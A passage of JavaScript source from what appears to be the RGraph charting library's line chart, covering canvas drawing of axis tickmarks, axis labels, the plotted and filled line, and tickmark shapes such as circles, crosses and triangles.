                    xTickInterval = (ca.width - this.gutterLeft - this.gutterRight) / (prop['chart.labels'] && prop['chart.labels'].length ? prop['chart.labels'].length - 1 : 10);
                }

                for (x = this.gutterLeft + (prop['chart.yaxispos'] == 'left' ? xTickInterval : 0); x <= (ca.width - this.gutterRight + 1 ); x += xTickInterval) {

                    if (prop['chart.yaxispos'] == 'right' && x >= (ca.width - this.gutterRight - 1)) {
                        break;
                    }

                    // If the last tick is not desired...
                    if (prop['chart.noendxtick']) {
                        if (prop['chart.yaxispos'] == 'left' && x >= (ca.width - this.gutterRight - 1)) {
                            break;
                        } else if (prop['chart.yaxispos'] == 'right' && x == this.gutterLeft) {
                            continue;
                        }
                    }

                    var yStart = prop['chart.xaxispos'] == 'center' ? (this.gutterTop + (this.grapharea / 2)) - 3 : ca.height - this.gutterBottom;
                    var yEnd = prop['chart.xaxispos'] == 'center' ? yStart + 6 : ca.height - this.gutterBottom - (x % 60 == 0 ? prop['chart.largexticks'] * prop['chart.tickdirection'] : prop['chart.smallxticks'] * prop['chart.tickdirection']);

                    if (prop['chart.xaxispos'] == 'center') {
                        var yStart = Math.round((this.gutterTop + (this.grapharea / 2))) - 3;
                        var yEnd = yStart + 6;

                    } else if (prop['chart.xaxispos'] == 'bottom') {
                        var yStart = ca.height - this.gutterBottom;
                        var yEnd = ca.height - this.gutterBottom - (x % 60 == 0 ? prop['chart.largexticks'] * prop['chart.tickdirection'] : prop['chart.smallxticks'] * prop['chart.tickdirection']);
                        yEnd += 0;


                    } else if (prop['chart.xaxispos'] == 'top') {
                        yStart = this.gutterTop - 3;
                        yEnd = this.gutterTop;
                    }

                    co.moveTo(Math.round(x), yStart);
                    co.lineTo(Math.round(x), yEnd);
                }

                // Draw an extra tickmark if there is no X axis, but there IS a Y axis
            } else if (prop['chart.noyaxis'] == false && prop['chart.numyticks'] > 0) {
                if (!prop['chart.noendytick']) {
                    if (prop['chart.yaxispos'] == 'left') {
                        co.moveTo(this.gutterLeft, Math.round(ca.height - this.gutterBottom));
                        co.lineTo(this.gutterLeft - prop['chart.smallyticks'], Math.round(ca.height - this.gutterBottom));
                    } else {
                        co.moveTo(ca.width - this.gutterRight, Math.round(ca.height - this.gutterBottom));
                        co.lineTo(ca.width - this.gutterRight + prop['chart.smallyticks'], Math.round(ca.height - this.gutterBottom));
                    }
                }
            }

            /**
             * Draw the Y tickmarks
             */
            var numyticks = prop['chart.numyticks'];

            if (prop['chart.noyaxis'] == false && numyticks > 0) {
                var counter = 0;
                var adjustment = 0;

                if (prop['chart.yaxispos'] == 'right') {
                    adjustment = (ca.width - this.gutterLeft - this.gutterRight);
                }

                // X axis at the center
                if (prop['chart.xaxispos'] == 'center') {
                    var interval = (this.grapharea / numyticks);
                    var lineto = (prop['chart.yaxispos'] == 'left' ? this.gutterLeft : ca.width - this.gutterRight + prop['chart.smallyticks']);

                    // Draw the upper halves Y tick marks
                    for (y = this.gutterTop; y < (this.grapharea / 2) + this.gutterTop; y += interval) {
                        if (y < (this.grapharea / 2) + this.gutterTop) {
                            co.moveTo((prop['chart.yaxispos'] == 'left' ? this.gutterLeft - prop['chart.smallyticks'] : ca.width - this.gutterRight), Math.round(y));
                            co.lineTo(lineto, Math.round(y));
                        }
                    }

                    // Draw the lower halves Y tick marks
                    for (y = this.gutterTop + (this.halfgrapharea) + interval; y <= this.grapharea + this.gutterTop; y += interval) {
                        co.moveTo((prop['chart.yaxispos'] == 'left' ? this.gutterLeft - prop['chart.smallyticks'] : ca.width - this.gutterRight), Math.round(y));
                        co.lineTo(lineto, Math.round(y));
                    }

                    // X axis at the top
                } else if (prop['chart.xaxispos'] == 'top') {
                    var interval = (this.grapharea / numyticks);
                    var lineto = (prop['chart.yaxispos'] == 'left' ? this.gutterLeft : ca.width - this.gutterRight + prop['chart.smallyticks']);

                    // Draw the Y tick marks
                    for (y = this.gutterTop + interval; y <= this.grapharea + this.gutterTop; y += interval) {
                        co.moveTo((prop['chart.yaxispos'] == 'left' ? this.gutterLeft - prop['chart.smallyticks'] : ca.width - this.gutterRight), Math.round(y));
                        co.lineTo(lineto, Math.round(y));
                    }

                    // If there's no X axis draw an extra tick
                    if (prop['chart.noxaxis'] && prop['chart.noendytick'] == false) {
                        co.moveTo((prop['chart.yaxispos'] == 'left' ? this.gutterLeft - prop['chart.smallyticks'] : ca.width - this.gutterRight), this.gutterTop);
                        co.lineTo(lineto, this.gutterTop);
                    }

                    // X axis at the bottom
                } else {

                    var lineto = (prop['chart.yaxispos'] == 'left' ? this.gutterLeft - prop['chart.smallyticks'] : ca.width - this.gutterRight + prop['chart.smallyticks']);

                    for (y = this.gutterTop; y < (ca.height - this.gutterBottom) && counter < numyticks; y += ( (ca.height - this.gutterTop - this.gutterBottom) / numyticks)) {

                        co.moveTo(this.gutterLeft + adjustment, Math.round(y));
                        co.lineTo(lineto, Math.round(y));

                        var counter = counter + 1;
                    }
                }

                // Draw an extra X tickmark
            } else if (prop['chart.noxaxis'] == false && prop['chart.numxticks'] > 0) {

                if (prop['chart.yaxispos'] == 'left') {
                    co.moveTo(this.gutterLeft, prop['chart.xaxispos'] == 'top' ? this.gutterTop : ca.height - this.gutterBottom);
                    co.lineTo(this.gutterLeft, prop['chart.xaxispos'] == 'top' ? this.gutterTop - prop['chart.smallxticks'] : ca.height - this.gutterBottom + prop['chart.smallxticks']);
                } else {
                    co.moveTo(ca.width - this.gutterRight, ca.height - this.gutterBottom);
                    co.lineTo(ca.width - this.gutterRight, ca.height - this.gutterBottom + prop['chart.smallxticks']);
                }
            }

            co.stroke();
        };


    /**
     * Draw the text labels for the axes
     */
    this.drawLabels =
        this.DrawLabels = function () {
            co.strokeStyle = 'black';
            co.fillStyle = prop['chart.text.color'];
            co.lineWidth = 1;

            // Turn off any shadow
            RG.NoShadow(this);

            // This needs to be here
            var font = prop['chart.text.font'];
            var text_size = prop['chart.text.size'];
            var decimals = prop['chart.scale.decimals'];
            var context = co;
            var canvas = ca;
            var ymin = prop['chart.ymin'];

            // Draw the Y axis labels
            if (prop['chart.ylabels'] && prop['chart.ylabels.specific'] == null) {

                var units_pre = prop['chart.units.pre'];
                var units_post = prop['chart.units.post'];
                var xpos = prop['chart.yaxispos'] == 'left' ? this.gutterLeft - 5 : ca.width - this.gutterRight + 5;
                var align = prop['chart.yaxispos'] == 'left' ? 'right' : 'left';
                var numYLabels = this.scale2.labels.length;
                var bounding = false;
                var bgcolor = prop['chart.ylabels.inside'] ? prop['chart.ylabels.inside.color'] : null;


                /**
                 * If the Y labels are inside the Y axis, invert the alignment
                 */
                if (prop['chart.ylabels.inside'] == true && align == 'left') {
                    xpos -= 10;
                    align = 'right';
                    bounding = true;


                } else if (prop['chart.ylabels.inside'] == true && align == 'right') {
                    xpos += 10;
                    align = 'left';
                    bounding = true;
                }


                /**
                 * X axis in the center
                 */
                if (prop['chart.xaxispos'] == 'center') {

                    var half = this.grapharea / 2;

                    /**
                     * Draw the top half
                     */
                    for (var i = 0; i < this.scale2.labels.length; ++i) {
                        RG.Text2(this, {
                            'font': font,
                            'size': text_size,
                            'x': xpos,
                            'y': this.gutterTop + half - (((i + 1) / numYLabels) * half),
                            'valign': 'center',
                            'halign': align,
                            'bounding': bounding,
                            'boundingFill': bgcolor,
                            'text': this.scale2.labels[i],
                            'tag': 'scale'
                        });
                    }

                    /**
                     * Draw the bottom half
                     */
                    for (var i = 0; i < this.scale2.labels.length; ++i) {
                        RG.Text2(this, {
                            'font': font,
                            'size': text_size,
                            'x': xpos,
                            'y': this.gutterTop + half + (((i + 1) / numYLabels) * half),
                            'valign': 'center',
                            'halign': align,
                            'bounding': bounding,
                            'boundingFill': bgcolor,
                            'text': '-' + this.scale2.labels[i],
                            'tag': 'scale'
                        });
                    }

                    // No X axis - so draw 0
                    if (prop['chart.noxaxis'] == true || ymin != 0 || prop['chart.scale.zerostart']) {
                        RG.Text2(this, {
                            'font': font,
                            'size': text_size,
                            'x': xpos,
                            'y': this.gutterTop + half,
                            'text': prop['chart.units.pre'] + ymin.toFixed(decimals) + prop['chart.units.post'],
                            'bounding': bounding,
                            'boundingFill': bgcolor,
                            'valign': 'center',
                            'halign': align,
                            'tag': 'scale'
                        });
                    }


                    /**
                     * X axis at the top
                     */
                } else if (prop['chart.xaxispos'] == 'top') {

                    var half = this.grapharea / 2;

                    if (prop['chart.scale.invert']) {

                        for (var i = 0; i < this.scale2.labels.length; ++i) {

                            RG.Text2(this, {
                                'font': font,
                                'size': text_size,
                                'x': xpos,
                                'y': this.gutterTop + ((i / this.scale2.labels.length) * this.grapharea),
                                'valign': 'center',
                                'halign': align,
                                'bounding': bounding,
                                'boundingFill': bgcolor,
                                'text': '-' + this.scale2.labels[this.scale2.labels.length - (i + 1)],
                                'tag': 'scale'
                            });
                        }
                    } else {
                        for (var i = 0; i < this.scale2.labels.length; ++i) {
                            RG.Text2(this, {
                                'font': font,
                                'size': text_size,
                                'x': xpos,
                                'y': this.gutterTop + (((i + 1) / numYLabels) * this.grapharea),
                                'valign': 'center',
                                'halign': align,
                                'bounding': bounding,
                                'boundingFill': bgcolor,
                                'text': '-' + this.scale2.labels[i],
                                'tag': 'scale'
                            });
                        }
                    }

                    // Draw the lower limit if chart.ymin is specified
                    if ((prop['chart.ymin'] != 0 || prop['chart.noxaxis']) || prop['chart.scale.invert'] || prop['chart.scale.zerostart']) {
                        RG.Text2(this, {
                            'font': font,
                            'size': text_size,
                            'x': xpos,
                            'y': prop['chart.scale.invert'] ? ca.height - this.gutterBottom : this.gutterTop,
                            'text': (prop['chart.ymin'] != 0 ? '-' : '') + RG.number_format(this, prop['chart.ymin'].toFixed(decimals), units_pre, units_post),
                            'valign': 'center',
                            'halign': align,
                            'bounding': bounding,
                            'boundingFill': bgcolor,
                            'tag': 'scale'
                        });
                    }


                    /**
                     * X axis labels at the bottom
                     */
                } else {

                    if (prop['chart.scale.invert']) {

                        // Draw the minimum value
                        RG.Text2(this, {
                            'font': font,
                            'size': text_size,
                            'x': xpos,
                            'y': this.gutterTop,
                            'valign': 'center',
                            'halign': align,
                            'bounding': bounding,
                            'boundingFill': bgcolor,
                            'text': RG.number_format(this, this.min.toFixed(prop['chart.scale.decimals']), units_pre, units_post),
                            'tag': 'scale'
                        });

                        for (var i = 0, len = this.scale2.labels.length; i < len; ++i) {
                            RG.Text2(this, {
                                'font': font,
                                'size': text_size,
                                'x': xpos,
                                'y': this.gutterTop + (((i + 1) / this.scale2.labels.length) * this.grapharea),
                                'valign': 'center',
                                'halign': align,
                                'bounding': bounding,
                                'boundingFill': bgcolor,
                                'text': this.scale2.labels[i],
                                'tag': 'scale'
                            });
                        }
                    } else {
                        for (var i = 0, len = this.scale2.labels.length; i < len; ++i) {
                            RG.Text2(this, {
                                'font': font,
                                'size': text_size,
                                'x': xpos,
                                'y': this.gutterTop + ((i / this.scale2.labels.length) * this.grapharea),
                                'valign': 'center',
                                'halign': align,
                                'bounding': bounding,
                                'boundingFill': bgcolor,
                                'text': this.scale2.labels[this.scale2.labels.length - (i + 1)],
                                'tag': 'scale'
                            });
                        }
                    }

                    // Draw the lower limit if chart.ymin is specified
                    if ((prop['chart.ymin'] != 0 && !prop['chart.scale.invert'] || prop['chart.scale.zerostart'])
                        || prop['chart.noxaxis']
                    ) {
                        RG.Text2(this, {
                            'font': font,
                            'size': text_size,
                            'x': xpos,
                            'y': prop['chart.scale.invert'] ? this.gutterTop : ca.height - this.gutterBottom,
                            'text': RG.number_format(this, prop['chart.ymin'].toFixed(prop['chart.scale.decimals']), units_pre, units_post),
                            'valign': 'center',
                            'halign': align,
                            'bounding': bounding,
                            'boundingFill': bgcolor,
                            'tag': 'scale'
                        });
                    }
                }


                // No X axis - so draw 0 - but not if the X axis is in the center
                if (prop['chart.noxaxis'] == true
                    && prop['chart.ymin'] == null
                    && prop['chart.xaxispos'] != 'center'
                    && prop['chart.noendytick'] == false
                ) {

                    RG.Text2(this, {
                        'font': font,
                        'size': text_size,
                        'x': xpos,
                        'y': prop['chart.xaxispos'] == 'top' ? this.gutterTop : (ca.height - this.gutterBottom),
                        'text': prop['chart.units.pre'] + (0).toFixed(prop['chart.scale.decimals']) + prop['chart.units.post'],
                        'valign': 'center',
                        'halign': align,
                        'bounding': bounding,
                        'boundingFill': bgcolor,
                        'tag': 'scale'
                    });
                }

            } else if (prop['chart.ylabels'] && typeof(prop['chart.ylabels.specific']) == 'object') {

                // A few things
                var gap = this.grapharea / prop['chart.ylabels.specific'].length;
                var halign = prop['chart.yaxispos'] == 'left' ? 'right' : 'left';
                var bounding = false;
                var bgcolor = null;
                var ymin = prop['chart.ymin'] != null && prop['chart.ymin'];

                // Figure out the X coord based on the position of the axis
                if (prop['chart.yaxispos'] == 'left') {
                    var x = this.gutterLeft - 5;

                    if (prop['chart.ylabels.inside']) {
                        x += 10;
                        halign = 'left';
                        bounding = true;
                        bgcolor = 'rgba(255,255,255,0.5)';
                    }

                } else if (prop['chart.yaxispos'] == 'right') {
                    var x = ca.width - this.gutterRight + 5;

                    if (prop['chart.ylabels.inside']) {
                        x -= 10;
                        halign = 'right';
                        bounding = true;
                        bgcolor = 'rgba(255,255,255,0.5)';
                    }
                }


                // Draw the labels
                if (prop['chart.xaxispos'] == 'center') {

                    // Draw the top halfs labels
                    for (var i = 0; i < prop['chart.ylabels.specific'].length; ++i) {

                        var y = this.gutterTop + (this.grapharea / (((prop['chart.ylabels.specific'].length - 1)) * 2) * i);

                        if (ymin && ymin > 0) {
                            var y = ((this.grapharea / 2) / (prop['chart.ylabels.specific'].length - (ymin ? 1 : 0)) ) * i;
                            y += this.gutterTop;
                        }

                        RG.Text2(this, {
                            'font': font,
                            'size': text_size,
                            'x': x,
                            'y': y,
                            'text': String(prop['chart.ylabels.specific'][i]),
                            'valign': 'center',
                            'halign': halign,
                            'bounding': bounding,
                            'boundingFill': bgcolor,
                            'tag': 'ylabels.specific'
                        });
                    }

                    // Now reverse the labels and draw the bottom half
                    var reversed_labels = RG.array_reverse(prop['chart.ylabels.specific']);

                    // Draw the bottom halfs labels
                    for (var i = 0; i < reversed_labels.length; ++i) {

                        var y = (this.grapharea / 2) + this.gutterTop + ((this.grapharea / ((reversed_labels.length - 1) * 2) ) * i);

                        RG.Text2(this, {
                            'font': font,
                            'size': text_size,
                            'x': x,
                            'y': y,
                            'text': i == 0 ? '' : String(reversed_labels[i]),
                            'valign': 'center',
                            'halign': halign,
                            'bounding': bounding,
                            'boundingFill': bgcolor,
                            'tag': 'ylabels.specific'
                        });
                    }

                } else if (prop['chart.xaxispos'] == 'top') {

                    // Reverse the labels and draw
                    var reversed_labels = RG.array_reverse(prop['chart.ylabels.specific']);

                    // Draw the bottom halfs labels
                    for (var i = 0; i < reversed_labels.length; ++i) {

                        var y = (this.grapharea / (reversed_labels.length - 1)) * i;
                        y = y + this.gutterTop;

                        RG.Text2(this, {
                            'font': font,
                            'size': text_size,
                            'x': x,
                            'y': y,
                            'text': String(reversed_labels[i]),
                            'valign': 'center',
                            'halign': halign,
                            'bounding': bounding,
                            'boundingFill': bgcolor,
                            'tag': 'ylabels.specific'
                        });
                    }

                } else {
                    for (var i = 0; i < prop['chart.ylabels.specific'].length; ++i) {
                        var y = this.gutterTop + ((this.grapharea / (prop['chart.ylabels.specific'].length - 1)) * i);
                        RG.Text2(this, {
                            'font': font,
                            'size': text_size,
                            'x': x,
                            'y': y,
                            'text': String(prop['chart.ylabels.specific'][i]),
                            'valign': 'center',
                            'halign': halign,
                            'bounding': bounding,
                            'boundingFill': bgcolor,
                            'tag': 'ylabels.specific'
                        });
                    }
                }
            }

            // Draw the X axis labels
            if (prop['chart.labels'] && prop['chart.labels'].length > 0) {

                var yOffset = 5;
                var bordered = false;
                var bgcolor = null;

                /**
                 * Text angle
                 */
                var angle = 0;
                var valign = 'top';
                var halign = 'center';

                if (prop['chart.xlabels.inside']) {
                    yOffset = -5;
                    bordered = true;
                    bgcolor = prop['chart.xlabels.inside.color'];
                    valign = 'bottom';
                }

                if (prop['chart.xaxispos'] == 'top') {
                    valign = 'bottom';
                    yOffset += 2;
                }

                if (typeof(prop['chart.text.angle']) == 'number' && prop['chart.text.angle'] > 0) {
                    angle = -1 * prop['chart.text.angle'];
                    valign = 'center';
                    halign = 'right';
                    yOffset = 10;

                    if (prop['chart.xaxispos'] == 'top') {
                        yOffset = 10;
                    }
                }

                co.fillStyle = prop['chart.text.color'];
                var numLabels = prop['chart.labels'].length;

                for (i = 0; i < numLabels; ++i) {

                    // Changed 8th Nov 2010 to be not reliant on the coords
                    //if (this.properties['chart.labels'][i] && this.coords && this.coords[i] && this.coords[i][0]) {
                    if (prop['chart.labels'][i]) {

                        var labelX = ((ca.width - this.gutterLeft - this.gutterRight - (2 * prop['chart.hmargin'])) / (numLabels - 1) ) * i;
                        labelX += this.gutterLeft + prop['chart.hmargin'];

                        /**
                         * Account for an unrelated number of labels
                         */

                        if (this.data.length === 0 || !this.data[0] || prop['chart.labels'].length != this.data[0].length) {
                            labelX = this.gutterLeft + prop['chart.hmargin'] + ((ca.width - this.gutterLeft - this.gutterRight - (2 * prop['chart.hmargin'])) * (i / (prop['chart.labels'].length - 1)));
                        }

                        // This accounts for there only being one point on the chart
                        if (!labelX) {
                            labelX = this.gutterLeft + prop['chart.hmargin'];
                        }

                        if (prop['chart.xaxispos'] == 'top' && prop['chart.text.angle'] > 0) {
                            halign = 'left';
                        }

                        if (prop['chart.text.angle'] != 0) {
                            halign = 'right';
                        }

                        RG.Text2(this, {
                            'font': font,
                            'size': text_size,
                            'x': labelX,
                            'y': (prop['chart.xaxispos'] == 'top') ? this.gutterTop - yOffset - (prop['chart.xlabels.inside'] ? -22 : 0) : (ca.height - this.gutterBottom) + yOffset,
                            'text': String(prop['chart.labels'][i]),
                            'valign': valign,
                            'halign': halign,
                            'bounding': bordered,
                            'boundingFill': bgcolor,
                            'angle': angle,
                            'tag': 'labels'
                        });
                    }
                }

            }

            co.stroke();
            co.fill();
        }


    /**
     * Draws the line
     */
    this.drawLine =
        this.DrawLine = function (lineData, color, fill, linewidth, tickmarks, index) {
            // This facilitates the Rise animation (the Y value only)
            if (prop['chart.animation.unfold.y'] && prop['chart.animation.factor'] != 1) {
                for (var i = 0; i < lineData.length; ++i) {
                    lineData[i] *= prop['chart.animation.factor'];
                }
            }

            var penUp = false;
            var yPos = null;
            var xPos = 0;
            co.lineWidth = 1;
            var lineCoords = [];

            /**
             * Get the previous line data
             */
            if (index > 0) {
                var prevLineCoords = this.coords2[index - 1];
            }


            // Work out the X interval
            var xInterval = (ca.width - (2 * prop['chart.hmargin']) - this.gutterLeft - this.gutterRight) / (lineData.length - 1);

            // Loop thru each value given, plotting the line
            // (FORMERLY FIRST)
            for (i = 0, len = lineData.length; i < len; i += 1) {

                var data_point = lineData[i];

                /**
                 * Get the yPos for the given data point
                 */
                var yPos = this.getYCoord(data_point);


                // Null data points, and a special case for this bug:http://dev.rgraph.net/tests/ymin.html
                if (lineData[i] == null
                    || (prop['chart.xaxispos'] == 'bottom' && lineData[i] < this.min && !prop['chart.outofbounds'])
                    || (prop['chart.xaxispos'] == 'center' && lineData[i] < (-1 * this.max) && !prop['chart.outofbounds'])
                    || (((lineData[i] < this.min && prop['chart.xaxispos'] !== 'center') || lineData[i] > this.max) && !prop['chart.outofbounds'])) {

                    yPos = null;
                }

                // Not always very noticeable, but it does have an effect
                // with thick lines
                co.lineCap = 'round';
                co.lineJoin = 'round';

                // Plot the line if we're at least on the second iteration
                if (i > 0) {
                    xPos = xPos + xInterval;
                } else {
                    xPos = prop['chart.hmargin'] + this.gutterLeft;
                }

                if (prop['chart.animation.unfold.x']) {
                    xPos *= prop['chart.animation.factor'];

                    if (xPos < prop['chart.gutter.left']) {
                        xPos = prop['chart.gutter.left'];
                    }
                }

                /**
                 * Add the coords to an array
                 */
                this.coords.push([xPos, yPos]);
                lineCoords.push([xPos, yPos]);
            }

            co.stroke();

            // Store the coords in another format, indexed by line number
            this.coords2[index] = lineCoords;

            /**
             * For IE only: Draw the shadow ourselves as ExCanvas doesn't produce shadows
             */
            if (RG.ISOLD && prop['chart.shadow']) {
                this.DrawIEShadow(lineCoords, co.shadowColor);
            }


            /**
             * Now draw the actual line [FORMERLY SECOND]
             */
            co.beginPath();
            // Transparent now as of 11/19/2011
            co.strokeStyle = 'rgba(0,0,0,0)';
            //co.strokeStyle = fill;
            if (fill) {
                co.fillStyle = fill;
            }

            var isStepped = prop['chart.stepped'];
            var isFilled = prop['chart.filled'];

            if (prop['chart.xaxispos'] == 'top') {
                var xAxisPos = this.gutterTop;
            } else if (prop['chart.xaxispos'] == 'center') {
                var xAxisPos = this.gutterTop + (this.grapharea / 2);
            } else if (prop['chart.xaxispos'] == 'bottom') {
                var xAxisPos = ca.height - this.gutterBottom;
            }


            for (var i = 0, len = lineCoords.length; i < len; i += 1) {

                xPos = lineCoords[i][0];
                yPos = lineCoords[i][1];
                var set = index;

                var prevY = (lineCoords[i - 1] ? lineCoords[i - 1][1] : null);
                var isLast = (i + 1) == lineCoords.length;

                /**
                 * This nullifys values which are out-of-range
                 */
                if (!prop['chart.outofbounds'] && (prevY < this.gutterTop || prevY > (ca.height - this.gutterBottom) )) {
                    penUp = true;
                }

                if (i == 0 || penUp || !yPos || !prevY || prevY < this.gutterTop) {

                    if (prop['chart.filled'] && !prop['chart.filled.range']) {

                        if (!prop['chart.outofbounds'] || prevY === null || yPos === null) {
                            co.moveTo(xPos + 1, xAxisPos);
                        }

                        // This facilitates the X axis being at the top
                        // NOTE: Also done below
                        if (prop['chart.xaxispos'] == 'top') {
                            co.moveTo(xPos + 1, xAxisPos);
                        }

                        if (isStepped && i > 0) {
                            co.lineTo(xPos, lineCoords[i - 1][1]);
                        }

                        co.lineTo(xPos, yPos);

                    } else {

                        if (RG.ISOLD && yPos == null) {
                            // Nada
                        } else {
                            co.moveTo(xPos + 1, yPos);
                        }
                    }

                    if (yPos == null) {
                        penUp = true;

                    } else {
                        penUp = false;
                    }

                } else {

                    // Draw the stepped part of stepped lines
                    if (isStepped) {
                        co.lineTo(xPos, lineCoords[i - 1][1]);
                    }

                    if ((yPos >= this.gutterTop && yPos <= (ca.height - this.gutterBottom)) || prop['chart.outofbounds']) {

                        if (isLast && prop['chart.filled'] && !prop['chart.filled.range'] && prop['chart.yaxispos'] == 'right') {
                            xPos -= 1;
                        }


                        // Added 8th September 2009
                        if (!isStepped || !isLast) {
                            co.lineTo(xPos, yPos);

                            if (isFilled && lineCoords[i + 1] && lineCoords[i + 1][1] == null) {
                                co.lineTo(xPos, xAxisPos);
                            }

                            // Added August 2010
                        } else if (isStepped && isLast) {
                            co.lineTo(xPos, yPos);
                        }


                        penUp = false;
                    } else {
                        penUp = true;
                    }
                }
            }

            /**
             * Draw a line to the X axis if the chart is filled
             */
            if (prop['chart.filled'] && !prop['chart.filled.range'] && !prop['chart.curvy']) {

                // Is this needed ??
                var fillStyle = prop['chart.fillstyle'];

                /**
                 * Draw the bottom edge of the filled bit using either the X axis or the prevlinedata,
                 * depending on the index of the line. The first line uses the X axis, and subsequent
                 * lines use the prevLineCoords array
                 */
                if (index > 0 && prop['chart.filled.accumulative']) {

                    co.lineTo(xPos, prevLineCoords ? prevLineCoords[i - 1][1] : (ca.height - this.gutterBottom - 1 + (prop['chart.xaxispos'] == 'center' ? (ca.height - this.gutterTop - this.gutterBottom) / 2 : 0)));

                    for (var k = (i - 1); k >= 0; --k) {
                        co.lineTo(k == 0 ? prevLineCoords[k][0] + 1 : prevLineCoords[k][0], prevLineCoords[k][1]);
                    }
                } else {

                    // Draw a line down to the X axis
                    if (prop['chart.xaxispos'] == 'top') {
                        co.lineTo(xPos, prop['chart.gutter.top'] + 1);
                        co.lineTo(lineCoords[0][0], prop['chart.gutter.top'] + 1);
                    } else if (typeof(lineCoords[i - 1][1]) == 'number') {

                        var yPosition = prop['chart.xaxispos'] == 'center' ? ((ca.height - this.gutterTop - this.gutterBottom) / 2) + this.gutterTop : ca.height - this.gutterBottom;

                        co.lineTo(xPos, yPosition);
                        co.lineTo(lineCoords[0][0], yPosition);
                    }
                }

                co.fillStyle = fill;

                co.fill();
                co.beginPath();

            }

            /**
             * FIXME this may need removing when Chrome is fixed
             * SEARCH TAGS: CHROME SHADOW BUG
             */
                //if (false && RGraph.ISCHROME && prop['chart.shadow'] && prop['chart.chromefix'] && prop['chart.shadow.blur'] > 0) {
                //
                //    for (var i=lineCoords.length - 1; i>=0; --i) {
                //        if (
                //               typeof(lineCoords[i][1]) != 'number'
                //            || (typeof(lineCoords[i+1]) == 'object' && typeof(lineCoords[i+1][1]) != 'number')
                //           ) {
                //            co.moveTo(lineCoords[i][0],lineCoords[i][1]);
                //        } else {
                //            co.lineTo(lineCoords[i][0],lineCoords[i][1]);
                //        }
                //    }
                //}

            co.stroke();


            if (prop['chart.backdrop']) {
                this.DrawBackdrop(lineCoords, color);
            }


            /**
             * TODO CLIP TRACE
             * By using the clip() method the Trace animation can be updated.
             * NOTE: Needs to be done for the filled part as well
             */
            co.save();
            co.beginPath();
            co.rect(0, 0, ca.width * prop['chart.animation.trace.clip'], ca.height);
            co.clip();

            // Now redraw the lines with the correct line width
            this.SetShadow(index);
            this.RedrawLine(lineCoords, color, linewidth, index);
            co.stroke();
            RG.NoShadow(this);


            // Draw the tickmarks
            for (var i = 0; i < lineCoords.length; ++i) {

                i = Number(i);

                /**
                 * Set the color
                 */
                co.strokeStyle = color;


                if (isStepped && i == (lineCoords.length - 1)) {
                    co.beginPath();
                    //continue;
                }

                if (
                    (
                        tickmarks != 'endcircle'
                        && tickmarks != 'endsquare'
                        && tickmarks != 'filledendsquare'
                        && tickmarks != 'endtick'
                        && tickmarks != 'endtriangle'
                        && tickmarks != 'arrow'
                        && tickmarks != 'filledarrow'
                    )
                    || (i == 0 && tickmarks != 'arrow' && tickmarks != 'filledarrow')
                    || i == (lineCoords.length - 1)
                ) {

                    var prevX = (i <= 0 ? null : lineCoords[i - 1][0]);
                    var prevY = (i <= 0 ? null : lineCoords[i - 1][1]);

                    this.DrawTick(lineData, lineCoords[i][0], lineCoords[i][1], color, false, prevX, prevY, tickmarks, i);

                    // Draws tickmarks on the stepped bits of stepped charts. Takend out 14th July 2010
                    //
                    //if (this.properties['chart.stepped'] && lineCoords[i + 1] && this.properties['chart.tickmarks'] != 'endsquare' && this.properties['chart.tickmarks'] != 'endcircle' && this.properties['chart.tickmarks'] != 'endtick') {
                    //    this.DrawTick(lineCoords[i + 1][0], lineCoords[i][1], color);
                    //}
                }
            }

            co.restore();

            // Draw something off canvas to skirt an annoying bug
            co.beginPath();
            co.arc(ca.width + 50000, ca.height + 50000, 2, 0, 6.38, 1);
        };


    /**
     * This functions draws a tick mark on the line
     *
     * @param xPos  int  The x position of the tickmark
     * @param yPos  int  The y position of the tickmark
     * @param color str  The color of the tickmark
     * @param       bool Whether the tick is a shadow. If it is, it gets offset by the shadow offset
     */
    this.drawTick =
        this.DrawTick = function (lineData, xPos, yPos, color, isShadow, prevX, prevY, tickmarks, index) {
            // Various conditions mean no tick
            if (!prop['chart.line.visible']) {
                return;
            } else if (RG.is_null(yPos)) {
                return false;
            } else if ((yPos > (ca.height - this.gutterBottom)) && !prop['chart.outofbounds']) {
                return;
            } else if ((yPos < this.gutterTop) && !prop['chart.outofbounds']) {
                return;
            }

            co.beginPath();

            var offset = 0;

            // Reset the stroke and lineWidth back to the same as what they were when the line was drawm
            // UPDATE 28th July 2011 - the line width is now set to 1
            co.lineWidth = prop['chart.tickmarks.linewidth'] ? prop['chart.tickmarks.linewidth'] : prop['chart.linewidth'];
            co.strokeStyle = isShadow ? prop['chart.shadow.color'] : co.strokeStyle;
            co.fillStyle = isShadow ? prop['chart.shadow.color'] : co.strokeStyle;

            // Cicular tick marks
            if (tickmarks == 'circle'
                || tickmarks == 'filledcircle'
                || tickmarks == 'endcircle') {

                if (tickmarks == 'circle' || tickmarks == 'filledcircle' || (tickmarks == 'endcircle' && (index == 0 || index == (lineData.length - 1)))) {
                    co.beginPath();
                    co.arc(xPos + offset, yPos + offset, prop['chart.ticksize'], 0, 360 / (180 / RG.PI), false);

                    if (tickmarks == 'filledcircle') {
                        co.fillStyle = isShadow ? prop['chart.shadow.color'] : co.strokeStyle;
                    } else {
                        co.fillStyle = isShadow ? prop['chart.shadow.color'] : 'white';
                    }

                    co.stroke();
                    co.fill();
                }

                // Halfheight "Line" style tick marks
            } else if (tickmarks == 'halftick') {
                co.beginPath();
                co.moveTo(Math.round(xPos), yPos);
                co.lineTo(Math.round(xPos), yPos + prop['chart.ticksize']);

                co.stroke();

                // Tick style tickmarks
            } else if (tickmarks == 'tick') {
                co.beginPath();
                co.moveTo(Math.round(xPos), yPos - prop['chart.ticksize']);
                co.lineTo(Math.round(xPos), yPos + prop['chart.ticksize']);

                co.stroke();

                // Endtick style tickmarks
            } else if (tickmarks == 'endtick' && (index == 0 || index == (lineData.length - 1))) {
                co.beginPath();
                co.moveTo(Math.round(xPos), yPos - prop['chart.ticksize']);
                co.lineTo(Math.round(xPos), yPos + prop['chart.ticksize']);

                co.stroke();

                // "Cross" style tick marks
            } else if (tickmarks == 'cross') {
                co.beginPath();

                var ticksize = prop['chart.ticksize'];

                co.moveTo(xPos - ticksize, yPos - ticksize);
                co.lineTo(xPos + ticksize, yPos + ticksize);
                co.moveTo(xPos + ticksize, yPos - ticksize);
                co.lineTo(xPos - ticksize, yPos + ticksize);
                co.stroke();


                // Triangle style tick marks
            } else if (tickmarks == 'triangle' || tickmarks == 'filledtriangle' || (tickmarks == 'endtriangle' && (index == 0 || index == (lineData.length - 1)))) {
                co.beginPath();

                if (tickmarks == 'filledtriangle') {
